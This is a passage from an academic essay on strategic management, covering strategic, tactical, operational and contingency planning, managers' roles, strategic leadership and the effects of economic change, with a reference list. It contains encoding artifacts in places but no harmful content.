compound it. Any company begins making its strategy by making an analysis of where it is presently, and what resources it has. The next is an analysis of the competition of the company in present market as well as the market where it wishes to expand. The competition in the new market gives an idea about the present competitive advantages of the company. The new markets are as a result of careful analysis of the places where the company would most increase the scope of its advantage.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   The theories of building strategy started to emerge soon. However, even in the present day there is no clear cut path for the formulation of strategy especially concerning long-term business development, new products, technologies or investments, because of the ever changing business environment at an ever increasing pace. Theorists have divided strategy itself into three: corporate business and functional strategies. Corporate strategy gives the macro level decisions which companies need to take such as investment in diversification, vertical integration, acquisitions, and new ventures. The allocation of resources to different business units of the organization and divestments are also covered by this strategy. Business strategy is concerned with how the firm competes within a particular industry or market. That is to say the decision of how a company should compete in the market is answered by this strategy. Functional strategies are the elaboration and implementation of business strategies through individual functions such as production, RD, marketing, human resources, and finance. When the concept of strategy emerged, it was an implicit understanding that the senior managers of an organization are able to objectively appraise the enterprise and its environment and formulate a strategy that maximizes the company’s chances of success in an uncertain future. However, all the theories of strategic management agree on one thing that the formulation and implementation of strategy cannot be separated. A well-formulated strategy must take into account the way it would be implemented and through this implementation the strategy is continuously refined and formulated. Types of planning involved in a Strategic Management Process – The strategic management process is an amalgamation of different elements. Planning in any form is one of the most important process elements. Planning involves an assessment of an organizations mission and goals in relation to its external environment and internal capabilities, projected into the future by several years.   Organizations go in for strategic planning when they perceive that they are sensitive to external environment, which by nature is volatile (Alkhafaji, 2003, p. 5). Planning focuses on understanding changing stakeholder needs, technological developments, competitive position, and competitor initiatives. Any decisions taken after considering the long term strategic plan are more realistic and goal-oriented. There are different types of planning involved in a strategic management process which will be discussed in this section: Strategic Planning Strategic planning is the process of developing and analyzing the organizations mission, overall goals, general strategies, and allocating resources. It usually has long-term goal, vision and mission. These are usually prepared by top level management of the company. These strategies are usually prepared for a period of 5 or more years. This time frame, however, is arbitrary and is dependent on the long-range planning capabilities of the company’s executives, based on its resources. It lays a lot of emphasis on the future implications of a present decision, and hence aids in the organization’s adaptation in an ever-changing environment. The factors which influence the strategic planning are external environment, market dynamics over a period of time, financial, operational and process stability of the company. The SWOT (Strengths, Weaknesses, Opportunities, and Threats) analysis of the company is critically important in the formulation of its strategic plan. After this strategic goals are made to show a path of reaching the vision of the company with its present capabilities (ORegan, Ghobadian, . 2007, p. 12). Tactical Planning Tactical planning is the continuous process of translation of broad and many a times ambiguous strategic plans, into specific goals and plans that are aimed at a specific division of the organization. Hence, it can be said that tactical planning deals with the implementation part of the planning process. It has a shorter time frame than a strategic plane, usually 1-2 years, and is also narrower in scope. The factors influencing tactical planning are the annual budget, project reviews, quality evaluation processes, target turnovers, market dynamics, government policies, consumer needs, available expertise and finally an evaluation of possible alternative solutions Operational Planning Operational planning is the planning done at the lower levels of the organization. It is used to detail specific processes and procedures used in a department. It primarily focuses on the daily routine tasks and is usually made for a short period of time. Operational plan is generally derived from a tactical plan to achieve one or more operational goals. The factors influencing an operational plan hence are the intra-departmental structure of an organization and efficiency of the manager. Another factor is the time-period for which an operational plan is made. Since the operational goal is either a single-time or a repeatable goal, some factors which effect the planning are the policies, reward system, and even the goal itself or the lack of a specific goal. To take care of such factors, the goal setting and planning should be collaborative (ORegan, Ghobadian, . 2007, p. 15).. Contingency Planning – According to Macneil (cited in Mayer and Berkowitz, 2008, p. 151) contingency relationships ensure some within relationship flexibility thus facilitating adjustments when conditions change Regardless of how carefully strategies are formulated, implemented and evaluated, unforeseen events always can make a strategy obsolete. To counter this, organizations should develop contingency plans, as a part of their strategic planning process, in the evaluation stage. Only high-priority planning areas require contingency planning, which should be as simple as possible. The prime factor influencing contingency planning is the degree of volatility of the present environment. That is to say, the frequency and magnitude of occurrence of unforeseen events like strikes, boycotts natural disasters, government instability and even at times arrival of foreign competitors etc. In case if company’s strategic plan is to expand, the above factors apply to the newer environment in question. Also, the possible affect of the present market environmental fluctuations should be taken into consideration while making the contingency plan for newer markets (Sadgrove, 2005, p. 258).                            Strategic Planning Organizations involve in the process of strategic planning in order to respond to the challenges and opportunities presented by marketplace. Strategic planning can be defined as â€Å"a process that describes the direction an organization will pursue within its chosen environment and guides the allocation of resources and efforts† (Peter, Donnelly, 2002, pp. 5). Strategic planning includes all the activities that lead to the development of a clear organizational mission, organizational objectives and appropriate strategies to achieve the objectives of the entire organization. In the strategic planning process the organization gathers information about the changing elements of its environment. The output of the strategic planning process is the development of a strategic plan. In the discussion that follows, a case study is used as a means for understanding the elements mentioned above (Short, Ketchen, Palmer, Hult, 2007, p. 150)). This would give a practical demonstration of how a company translates these theoretical principles for use in their case. Strategic Planning Process – Strategic planning process is concerned with long term broad marketing mix decisions and the implications of these decisions. It is designed to ensure a systematic approach to planning. Hence, the strategic marketing planning process must be consistent with circumstances. The strategic marketing planning process occurs at multiple levels of the organizations and hence the plan represents the implementation of the organizational strategy. This follows the guidelines of the overall strategic planning process. The strategic planning process is considered essential when the increasingly hostile and complex environment where companies operate is considered. It is basically a series of logical steps that have to be worked in order to arrive at a marketing plan (Gilligan, Wilson, 2003, pp. 44). An extension of strategic planning process is the Strategic marketing planning process, which is concerned with the development of strategies that are based on the planning team’s assessment of the market and perceptions of managerial expectations and organizational capability. This process is used by the organization to formulate its strategy provided that it is adapted to the organization and its environment. Strategic marketing planning consists of ten steps: Mission, Corporate Objectives, Marketing audit, SWOT analysis, Assumptions, marketing objectives and Strategy, Estimate expected results, Identify alternative plans, Budget and First year detailed implementation program (Baker, 2003, pp. 91).                                           Management’s function in Strategic Planning Strategic planning involves an assessment of an organizations mission and goals in relation to its external environment and internal capabilities, projected into the future by several years.   Organizations go in for strategic planning when they perceive that they are sensitive to external environment, which by nature is volatile (Alkhafaji, 2003, p. 11). Strategic planning focuses on understanding changing stakeholder needs, technological developments, competitive position, and competitor initiatives. Any decisions taken after considering the long term strategic plan are more realistic and goal-oriented. Organizations should consider strategic planning as an essential management function. Any organization wishing to have long-term growth should infuse a culture of competitive focus throughout all the hierarchical levels.   Hence, every employee in the company, especially the managers compete, with their company’s competitors in their work (ORegan, Ghobadian, . 2007, p. 17).. Roles of various managers in the Strategic Management Process – Planning is a basic function of management which determines the objectives and the course of action required to attain them. Planning is done at every level of management, hence is done by all managers from the highest to lowest in the management hierarchy. Managers in an organization have a primary role in strategy-implementation. Managers use strategic planning as a management function to allocate resources to programmed activities, which is calculated to achieve a set of goals in a dynamic and competitive environment.   Management changes are even more extensive when the strategies to be implemented move a firm into a major new direction. Hence, their inputs while the formulation of a strategic plan becomes extremely important (ORegan, Ghobadian, . 2007, p. 18).. Equally important is the involvement of strategists in the strategy-implementation activities. There are four main types of planning – corporate, strategic, management and operations, each of which is carried out at different management levels, covers a different time-span and has varying levels of short and long-term impact on the working of the organization (Boone, Kurtz, P. 271). Needless to say, the planning activities of various managers at different levels are different. Senior management usually does the corporate and strategic planning activities. Strategic planning details the goals and objectives of the company while corporate planning decides how the organization would operate to achieve these objectives and goals. The resource allocation for achieving the goals is also done during the corporate and strategic planning stage. Strategic planning is usually long term covering about three to five years (Dixon, 2003, p. 29, 30). The plan charts out the path of the organization during the period and the various activities which need to be done for achieving the objectives set. An example of strategic planning is of General Motors and Dell’s business strategy related to their spare parts given in the book by Muckstadt (2005, p. 2) . In Dell’s case, there is no need to maintain an exhaustive inventory regarding its old products sales parts, while this is an important element of General Motor’s strategy. Hence, GM as a part of its business strategy maintains a huge storage space where hundreds of thousands of storage parts are stocked. The location of the storage space must also take into consideration its supply chain partners like either individual car dealers as well as its suppliers, when designing such a strategy. Change is the most certain part in any environment, and business and markets are guided by various factors, which might necessitate a change in strategy. It is the job to the senior managers to ensure that a new strategy ensures sufficient plans for the acceptance of the strategy by people working in the various levels of the organizations. An example is given in the book by Murray and Richardson (2002, p.5) about the Canadian industrial supply company Acklands-Grainger which in less than a span of twelve months moved from a 4% growth rate to a 20% growth rate and higher profitability. The authors mention in their book (p. 24), that within 100 days of launch of a new strategic plan for the company several major steps like a new communications initiative to involve more people in the decision making process, were successfully implemented. This ensured that the employees of the company were by and large impressed by the strategy and were enthusiastic to take part in the strategy. Many people working in the frontline were however skeptical about the strategic change within the company, as they could see little change in their own work areas. To ensure the front-line people, the Strategy team committed to five deliverables at the end of 200 days of the launch of the new strategy to assure its front-line employees that things were really changing. These included specific changes to branch operations, improvements in logistics and improvement in training. Although the delivery of the five tasks was not perfect the outcomes ensured that the employees felt that there was a definite change and had specific development points which they could identify with and discuss. The example above, details how a change in strategy was successfully implemented within a company. It highlights an important point that while a strategy change is being developed by a company, the strategy must be flexible and should include detailed plan for implementation to being about the change from the point of view of the line-employees (Parnell, Lester, 2003, p. 295). Management planning is done by middle level management who divide the task into different smaller units and ensure that proper execution of the task would take place by making a effective integration plan. This planning is of a comparatively shorter time span than the strategic planning and usually lasts for a single project or a set of similar projects. They also cover only a partial division of the organization. Operational planning is done by the line managers and is of a shorter time span than the management planning. It usually refers to the day-to-day planning addressing the specific time-tables, task and measurable targets that managers in each different unit of the project make and maintain to ensure that the task get done in-time. Hence, operational planning deals with developing and implementing tactics in specific functional areas. The managers allocate time and teams consisting of a specific number of employees to perform a particular task (Dixon, 2003, p. 31). Strategic goals are achieved by setting and achieving tactical objectives. Hence, it is very important that the plans at different levels complement each other. Managers at different levels must have proper and effective communications, such that goals at every level are understood as well as the objectives behind these goals. Senior and higher-levels of management must ensure that there information flow s efficient and the line-managers are aware and clear about their roles and responsibilities. The job of the middle managers is to ensure that the objectives are understood by the line managers and proper goals are set to achieve these objectives (Nadkarni, Narayanan, 2007, p. 263). It is often seen that many times the organizations fail to achieve their objectives, despite the fact that the senior management is clear about their vision and strategies and line-management is skilled at their work. The problem in this case lies with the middle management who fail to translate the objectives into tactical goals for the various functional groups (Boone, Kurtz, P. 271). Following figure shows a sample organization chart which gives the level of managers and the strategic business decisions they can take. Fig: 2 Strategic Decisions taken by various Managers (Grant, 2002, p. 24)                      Strategic Leadership and Decision Making As an organization prepares itself for future success, by using its strategic planning, no other internal factor is more critical than the strategy formulation and leadership. For a successful strategy formulation and implementation leadership is a necessary factor. The term leadership encompasses visioning, developing, motivating communicating and involving. The book by Scott (2005) defines the terms as explained by Peter Drucker, who gives three essentials of leadership as â€Å"Defining, communicating, and establishing a sense of mission in a way that is understandable to others; Treating leadership as a responsibility rather than a rank and; Earning and maintaining the trust of others† (p. 108, 109). The book further gives that opinion of Drucker on leadership, who says that it should be based on being ethical and consistent in word and deed rather than being clever and deceiving. Strategic leadership is a newly developed type of leadership and is needed to initiate and direct the strategic management process. Strategic leadership covers five aspects of leadership: technical leadership, human leadership, political leadership, cultural leadership and educational leadership. These aspects contribute directly to environmental analysis, planning and structuring, staffing and directing, implementing, monitoring and evaluating the strategic management process. Strategic leadership can be defined as encapsulating entrepreneurial processes (Slater, Olson, Hult, 2006, p. 1225) Strategic leadership is also seen as a concerned with strategy development and change. Essentially strategic leadership refers to the top management team, and strategic theory has evolved from upper echelons theory. Strategic leadership concerns developing the organization’s vision, mission, strategies, and culture and monitoring progress and changes in the business environment to ensure that strategies are focused. Strategic leadership concerns monitoring how well organizational culture, including values is supporting the organization’s vision and mission (Brower, Fioi, Emrich, 2007, p. 70). It also concerns with the monitoring of human capital and organizational structure and systems. Strategic leaders posses the following capabilities which is the actual difference between managers and leaders also. These are given as below: Visionary/ Strategic – An abstract vision of where the firm might want to be in the future is of limited use without its translation into an executable competitive strategy. Hence, strategic leaders must have both the vision and the means to achieve the vision. Systems Thinker – Strategic leaders create organizational and operating practices that carefully coordinate the interactions and dependencies between different operating areas. Hence, a characteristic of strategic leader is that they can see the connections between individual parts of the firm and its competitive strategy, but do not concern themselves with individual practices or procedures. Effective Motivator/Communicator/Teacher – Strategic leaders can see the firm’s strategy and can see the requisites to deliver the strategy, in addition to being equipped to build the hiring, compensation, and coaching systems in accord with the firm’s competitive strategy. Obsessive – Strategic leadership is not a part-time activity and hence strategic leaders need to be obsessed with the execution of the strategy in each act within the firm. Strategic leaders are driven to align all the activities in the firm with the delivery of the value proposition. (Brower, Fioi, Emrich, 2007, p. 69, 70) It is clear from the above discourse that strategic leaders, more than anything else, need to believe in their strategy. For the success of a strategy, strategic leaders should be prepared to endure short-terms costs and dips in performance, to facilitate making investments for future. These tradeoffs are managed with a commitment to the strategy and there is no major change between different high and low periods, since the focus is on the long-term direction. Despite the fact that strategic leadership is generally concerned with the upper echelons of management, the qualities themselves are not limited to the top management group. This fact must be understood by the senior managers of the firm so as to create an environment, to make sure that these qualities are recognized, expressed and nurtured within all the levels of the organization (Hitt, Ireland, Camp, Sexton, 2001, p. 482) Strategic leadership and decision making – Management is usually concerned with the following functions in some or the other way: Planning, organizing, staffing, and decision making (Parnell, Lester, 2003, p. 298). Decision making is the heart of management. Any function performed by managers at any level of management involves decision making. Managers at all times are faced with a various alternate solutions of a problem, and their task is to choose the most optimum solution from amongst these and implement it. Decision making process consist of: identifying the problem, analyzing the problem, developing alternate solutions, comparing alternate solutions, choosing the best solution and implementing and finally verifying the solution. During the decision making process is where a manager continuously tries to achieve a state of stability by implementing a course of action, while all the time dealing with the possible consequences of his actions. A key competency in strategic leadership is decision making about whether and when to act (Elbanna, Child, 2007, p. 435) Consistency of decision making in accord with the firm’s value proposition is important for a strategic leader. It allows the members of the organization to see the connection between their daily responsibility and the delivery of the firm’s strategy. Strategic leadership hence involves building a coherent set of original beliefs and practices that are aligned with the requirements of the seller’s value proposition. All have responsibilities for their own beliefs and for the performance of their coworkers, and hence strategic leadership is needed for all the levels of the firm. Effects of business environmental changes on strategy   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Theorists and business strategists consider the most important recent trends in the macro environment as the forces the new economy. The new economic era started at the advent of the 21st century, but the factors which led to the change had already been felt and observed at least two decades back. The new information and communication technologies restructured the global markets, and whole industry sectors, by challenging the conventional economic thinking and hence redefining how business is done. The New Economy is almost a revolution in the way business works, economic wealth is generated, so cities are organized and individual exist within them (Grant ¸2003, p. 504). The figure below shows the key features of new economic environment that impact on business strategy, as compared to the key features of old economic environment. Old Economy New Economy Key industries Oil, Mining, Steel, Vehicles, Railways, Shipping Computers and Software, biotechnology, personal and financial services, Entertainment Key Resources Energy, Labor Information Knowledge and Talent Technology Power Trains, Machine Tools Information Technology Product Life Cycles Measured in decades Measured in Years or months Trade Patterns International Global Working Day 8 hours 24 Hours Communication Media Letters, Telephone, Fax Mobile devices, E-mail, Internet and Intranet Organization Structures Centralized Hierarchical, Functional Devolved, Flat, Functional Workforce Characteristics Mainly male semi-skilled or skilled No gender bias, high proportion of graduates    Fig -3 Key features of old and new business environments (Sadler, Ryall, Craig, 2003, p. 29) Key elements that have effected the environment to bring these changes are: Globalization: The globalization as we know it has happened in two stages. The first stage was post world war, when other countries came to be seen as new markets rather than colonial acquisitions. This brought about a change in the business organization. The second phase was in the late 1980s, when the internet emerged to be a n option where people could display their wares or even sell them, for instance in case of paid music downloads. Presently globalization is not only an advantage; it has become a must for any company wishing to enter the business domain (Pitt, 2005, p. 316). Small-World with reduced distances – The world as we know it is getting smaller everyday with the emergence of new technologies in wireless communication. People can now communicate visually and effectively with anyone across anywhere in the world at the same time. This has brought about a lot of new requirements which were heretofore quite unknown Knowledge Economy – A bye-product of the shrinking world is the awareness people have about other cultures and economic conditions in various parts of the world. The awareness of the new technologies is also increasing among people at a rapid pace, and is no longer confined within a select few number of people. Impact of new technology – People in the present day world are so used to rapid changes in technology that they almost expect smarter, cheaper and better performance devices almost every day. Hence, the importance of RD among the various industries has increased and is no longer an option but a necessity. (Pitt, McAulay, Sims, 2002, p. 159, 160) In the light of these discontinuous, large-scale changes facing the world, organizations might be required to undergo major, strategic reorientations.   These reorientations may involve changes in products, services, markets, organizational structure and human resources. A change can be viewed either a technical problem, political problem, or a cultural problem. However, strategic change views the problem as a varied amalgamation of all the three problems. Strategic change refers to the non-routine, non-incremental, and discontinuous change that alters the overall orientation of the organization, and/or the components of the organization. (Hà ¥konsson, Obei, Burton, 2008, p. 65)   However, the exact boundary between a strategic and a non-strategic change is blurred. Sometimes it depends on the magnitude of change and at other times the time frame of the impact of the change is in question. Conclusion The paper gave a general discourse on strategic management processes. The process consists of various elements, and each of which is equally important to the process. The planning stage is the most critical out of these processes, which was described in the next section along with different types of planning. The nature of strategic planning was discussed in detail which also covered the strategic planning process. The subsequent section discoursed upon the role of various strategic managers on strategy building. After this the discussion shifted to strategic leadership and the power of decision making. Finally the effects of business environmental changes on strategy making was discussed, which gave the critical factors involved in strategic decision making in the present day world. A comparison of this was done with the economy just a decade or two past, and can be seen that there are few if any common factors between the two economies. Hence, the strategy making process has undergone a massive change in the recent times. Till then the strategy formulation process was an evolutionary one, with one element being added over another. But the present day world calls for revolutionary strategies since the success factors too have undergone changes. The paper hence gives an idea about the direction companies of the present day world need to take in order to be successful. While the topics covered are generic, and do not give a situation-level analysis for the choice of a strategy, there is enough information here to help strategic theorists understand the dynamics of the business environment and act accordingly.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   References Journal Articles Brower HH, Fioi CM, Emrich CC, (2007), â€Å"The language of Leaders†, Journal of Leadership Studies, Pages 67-80, Wiley Periodicals Inc, 20th November 2007, Volume 1, Issue 3, DOI 10.1002/jls.20026 Elbanna S, Child J, (2007), â€Å"Influence of Strategic Decision Effectiveness: Development and Test of an Integrative Model†, Strategic Management Journal, Strat. Mgmt. J. 28:431-453 (2007), DOI10.1002/smj.597 Farjoun M, (2001), â€Å"Towards an organic perspective on strategy†, Strategic Management Journal, Volume 23, Issue 7, John Wiley Sons, Ltd., Pages 561-594, 28th March 2002, DOI 10.1002/smj.239 Grant RM, (2003), â€Å"Strategic planning in a turbulent environment: evidence from the oil majors†, Strategic Management Journal, Volume 24, Issue 9, John Wiley Sons, Ltd., Pages 491-517, 14th April 2003, DOI 10.1002/smj.314 Hà ¥konsson DD, Obei B, Burton RM, (2008), â€Å"Can Organization Climate be managed? Making Emotions Rational†, Journal of Leadership Studies, Pages 62-73, Wiley Periodicals Inc, 28th February 2008, Volume1 Issue 4, DOI 10.1002/jls.20033 Hitt MA, Ireland RD, Camp SM, Sexton DL, (2001), â€Å"Strategic entrepreneurship: entrepreneurial strategies for wealth creation†, Strategic Management Journal, Volume 22, Issue 6-7, John Wiley Sons, Ltd., Pages, 479-491, 6th June 2001, DOI 10.1002/smj.196 Hutzschenreuter T, Kleindienst I, (2006), â€Å"Strategy-Process Research: What Have We Learned and What is Still to be Explored†, Journal of Management 2006; 32; 673, DOI: 10.1177/0149206306291485, SAGE Publishing Mayer KJ, Berkowitz J, (2008), â€Å"The Influence of Inertia on Contract Design:   Ã‚   Contingency Planning in Information Technology Service Contracts†, Managerial   Ã‚   Decision and Economics, Wiley InterScience, DO: 10/1002/m.d.e. 1390 Nadkarni S, Narayanan V K, (2007), â€Å"Strategic schemas, strategic flexibility, and firm performance: the moderating role of industry clockspeed†, Strategic Management Journal, Volume 28, Issue 2, John Wiley Sons, Ltd., Pages 240-270, 30th January 2007, DOI 10.1002/smj.576 ORegan N, Ghobadian A, (2007), â€Å"Formal strategic planning: annual raindance or wheel of success?†, Strategic Change, Volume 16, Issue 1-2, John Wiley Sons, Ltd., Pages 11-22, 2nd April 2007, DOI 10.1002/jsc.777 Parnell JA, Lester DL, (2003), â€Å"Towards a philosophy of strategy: reassessing five   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   critical dilemmas in strategy formulation and change†, Strategic Change, Volume 12, Issue 4, John Wiley Sons, Ltd., Pages 291-303, 8th October 2003, DOI 10.1002/jsc.639 Pitt M, (2005), â€Å"A dynamic model of strategic change in growth-oriented firms â€Å",   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Strategic Change†, Volume 14, Issue 6, John Wiley Sons, Ltd., Pages 307-326, 31st October 2005, DOI 10.1002/jsc.721 Pitt M, McAulay L, Sims D, (2002), â€Å"Promoting strategic change: playmaker roles in Organizational agenda formation†, John Wiley Sons, Ltd., 7th May 2002, Pages 155-172, Volume 11 Issue 3, DOI 10.1002/jsc.586 Short JC, Ketchen DJ, Palmer TB, Hult GTM, (2007), â€Å"Firm, strategic group, and   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   industry influences on performance†, Strategic Management Journal, Volume 28, Issue 2, John Wiley Sons, Ltd., Pages 147-167, 20th December 2006, DOI: 10.1002/smj.574 Slater SF, Olson EM, Hult GTM, (2006), â€Å"The moderating influence of strategic orientation on the strategy formation capability-performance relationship†, Strategic Management Journal, Volume 27, Issue 12, John Wiley Sons, Ltd., Pages 1221-1231, 30th October 2006, DOI 10.1002/smj.569 Reference Books Alkhafaji AF, (2003), â€Å"Strategic Management: Formulation, Implementation and Control in a Dynamic Environment†, Published: Haworth Press, New York Baker, MJ, (2003), â€Å"The Marketing Book†, Published: Butterworth Heinemann,   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Massachusetts Boone LE, Kurtz DL, (2006), â€Å"Contemporary Business 2006†, Published: Thomson   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Southwestern, Ohio Dixon R, (2003), â€Å"The Management Task†, 3rd Edition, Published, Butterworth- Hienemann, Massachussetts Gilligan C, Wilson RMS, (2003), â€Å"Strategic Marketing Planning†, Published:   Ã‚  Ã‚   Butterworth Heinemann, Massachusetts Grant RM, (2002), â€Å"Contemporary Strategy Analysis: Concepts, Techniques,   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Applications’, Published: Blackwell Publishing, Massachusetts Muckstadt JA, (2005), â€Å"Analysis and Algorithms for Service Parts Supply Chain†, Published: Springer, New York McCourt W, Eldridge D, (2003), â€Å"Global Human Resource Management: Managing   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   People in Developing and Transitional Countries†, Published: Edward Elgar Publishing, Massachusetts Murray EJ, Richardson PR, (2002), â€Å"Fast Forward Organizational Change in 100 Days†, Published: Oxford University Press, New York Peters BG, Pierre J, (2003), Handbook of Public Administration, Published: SAGE Peter JP, Donnelly JH, (2002), â€Å"A Preface to Marketing Management†, 9th Edition,   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Published: McGraw-Hill Professional, New York Sadler P, Ryall MJ, raig JC, (2003), †Strategic Management†, 2nd Edition, Published:   Ã‚  Ã‚   Kogan Page, London Sadgrove K, (2005), â€Å"The Complete Guide to Business Risk Management†, 2nd Edition, Publishing: Gower Publishing Ltd., Burlington Stevens RE, Sherwood PK, Dunn JP, Loudon DL, (2006), â€Å"Market Opportunity Analysis:   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   Text and Cases†, Published: Haworth Press, New York